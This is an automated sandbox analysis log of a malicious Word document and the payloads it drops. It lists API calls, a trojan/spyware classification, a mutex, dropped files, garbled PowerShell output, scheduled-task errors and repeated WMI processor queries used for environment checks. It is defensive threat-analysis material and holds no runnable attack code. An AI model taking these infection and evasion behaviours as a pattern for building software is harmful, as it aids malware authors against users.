Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	Security API names: _0020.AddAccessRule
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, b8tmsF9xU9Z1v5o74w.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, b8tmsF9xU9Z1v5o74w.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	Security API names: _0020.SetAccessControl
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@26/22@241/7

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$mittance 17042024.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Mutant created: \Sessions\1\BaseNamedObjects\CXJbfdRjUuNVJpbtO

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6279.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d......."..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.d.......4..........................s.................... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d.......A..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d.......S..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d......._..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....u..........................s....................$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................d..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P........................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n...............................!..........................s............x...............8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................-..........................s............x...............8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........E..........................s............x....... .......8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................Q..........................s............x...............8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................g..........................s............................8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................s..........................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s............x.......$.......8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............x...............8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............x.......2.......8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............x...............8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s....................l.......8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............x...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P........................................................s............x...............8...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............x...............8...............	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ........................................(.P.....$.......@.......................................................................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................4.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................5.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................&5.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................55.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................e5.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................5.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n................................5.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................5.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........5.........................s.................... .......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............................. 6.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................96.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................I6.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....c6.........................s....................$.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................t6.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................6.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................6.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................6.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................6.........................s....................l.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................6.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................7.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................7.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................+.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................++.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................@+.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................L+.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................^+.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................k+.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n...............................}+.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................+.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........+.........................s.................... .......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................+.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................+.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................+.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......+.........................s....................$.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................+.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................,.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................$,.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................H,.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................],.........................s....................l.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................i,.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............................{,.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................,.........................s............................x...............
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................................E.R.R.O.R.:. ............................(......................................x.$.............................
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................................E.R.R.O.(.P..............................(..............................................j.......x...............

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
